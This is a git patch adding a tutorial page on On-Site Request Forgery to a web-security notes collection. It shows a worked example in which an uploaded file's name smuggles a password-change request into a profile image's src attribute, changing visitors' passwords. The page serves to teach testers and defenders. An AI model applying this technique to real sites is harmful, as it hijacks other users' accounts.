From 795bd8c2e6c86096bae42eac577df5e707381aa1 Mon Sep 17 00:00:00 2001
From: Muhammad Daffa <muhammaddaffa.info@gmail.com>
Date: Mon, 29 May 2023 18:29:21 +0700
Subject: [PATCH] feat: added OSRF

---
 On Site Request Forgery.md | 81 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 81 insertions(+)
 create mode 100644 On Site Request Forgery.md

diff --git a/On Site Request Forgery.md b/On Site Request Forgery.md
new file mode 100644
index 0000000..640d786
--- /dev/null
+++ b/On Site Request Forgery.md	
@@ -0,0 +1,81 @@
+# On-Site Request Forgery (OSRF)
+
+## Introduction
+On-Site Request Forgery (OSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. The difference between CSRF is a vulnerability where an attacker initiates requests from domain under their control to perform actions on behalf of victim. However, in OSRF, requests originate from vulnerable application itself and we control where our requests go.
+
+## Where to find
+You can detect On-Site Request Forgery (OSRF) everywhere but there are 2 things that need to be looked up.
+- Finding reflected input in `src` attribute. For example:
+
+    ```html
+    <img src="OUR_INPUT_HERE">
+    <video width="400" height="200" controls src="OUR_INPUT_HERE">
+    <audio src="OUR_INPUT_HERE">
+    <iframe src="OUR_INPUT_HERE">
+    ```
+- We can control the filename (there are several requirements that must be met)
+  - There is a sensitive endpoint that using the GET method
+  
+    ```
+    GET /settings.php?remove_account=1
+    Host: example.com
+    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+    ...
+    ```
+
+## How to exploit
+Imagine there is functionality in the website where the user can change their password. Here is the request
+
+```
+GET /change_password.php?new_password=Testing123
+Host: example.com
+User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+...
+```
+
+And then there is another functionality where we can control the value inside the `src` attribute, for example we can change our photo profile
+
+```
+POST /settings.php
+Host: example.com
+User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+...
+
+---------------------------829348923824
+Content-Disposition: form-data; name="filename"
+
+testingimage.jpg
+
+---------------------------829348923824
+Content-Disposition: form-data; name="uploaded"; filename="testingimage.jpg"
+Content-Type: image/gif
+
+IMAGE_CONTENT
+...
+```
+And if we check our public profile page, our input is reflected in the `src` attribute
+
+```html
+<div id="profile">
+  <p id="fullname">daffainfo</p>
+  <p id="address">Indonesia</p>
+  <img src="uploads/testingimage.jpg">
+</div>
+```
+
+To exploit the website using this vulnerability, we need to change the filename from `testingimage.jpg` to `change_password.php?new_password=Testing123`. So, the result is
+
+```html
+<div id="profile">
+  <p id="fullname">daffainfo</p>
+  <p id="address">Indonesia</p>
+  <img src="../change_password.php?new_password=Testing123">
+</div>
+```
+
+If another user visits our profile page, their password will automatically be changed to `Testing123`
+
+
+## References:
+* [Portswigger](https://portswigger.net/blog/on-site-request-forgery)
+* [CM2](https://blog.cm2.pw/articles/on-site-request-forgery/)
\ No newline at end of file